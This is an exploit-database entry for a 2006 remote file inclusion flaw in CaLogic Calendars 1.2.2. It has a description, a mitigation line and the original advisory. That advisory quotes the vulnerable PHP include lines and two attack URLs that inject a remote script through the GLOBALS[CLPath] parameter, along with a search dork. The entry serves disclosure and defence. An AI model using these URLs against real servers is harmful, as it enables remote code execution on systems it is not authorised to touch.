header-logo
Suggest Exploit
vendor:
Calendars
by:
Kacper (Rahim)
7,5
CVSS
HIGH
Remote File Include
94
CWE
Product Name: Calendars
Affected Version From: 1.2.2
Affected Version To: 1.2.2
Patch Exists: YES
Related CWE: N/A
CPE: a:calogic:calogic_calendars
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2006

CaLogic Calendars V1.2.2 – Remote File Include

CaLogic Calendars version 1.2.2 is vulnerable to a remote file include vulnerability. This vulnerability allows an attacker to include a remote file, usually through a malicious URL, containing arbitrary code which is then executed on the vulnerable server. This vulnerability is due to the application not properly sanitizing user-supplied input to the 'GLOBALS[CLPath]' parameter in the 'reconfig.php' and 'srxclr.php' scripts. An attacker can exploit this vulnerability by crafting a malicious URL containing a malicious script and then convincing an unsuspecting user to click on the link. Successful exploitation can result in arbitrary code execution on the vulnerable server.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized. Additionally, the application should be kept up to date with the latest security patches.
Source

Exploit-DB raw data:

################ DEVIL TEAM THE BEST POLISH TEAM #################
#CaLogic Calendars V1.2.2 - Remote File Include
#Find by Kacper (Rahim).
#Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
#Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#dork: CaLogic Calendars V1.2.2
##################################################################
reconfig.php:
[code]
include_once("./include/config.php");
include_once($GLOBALS["CLPath"]."/classes/session.php");
include_once($GLOBALS["CLPath"]."/include/gfunc.php");
include_once($GLOBALS["CLPath"]."/classes/calogicautomation.php");
[/code]

http://site.com/[path]/reconfig.php?GLOBALS[CLPath]=[evil_script]


srxclr.php:
[code]
include_once("./include/config.php");
include_once($GLOBALS["CLPath"]."/include/calfunc.php");
include_once($GLOBALS["CLPath"]."/include/gfunc.php");
include_once($GLOBALS["CLPath"]."/include/efuncs.php");
[/code]

http://site.com/[path]/srxclr.php?GLOBALS[CLPath]=[evil_script]

#pozdro :)

# milw0rm.com [2006-05-20]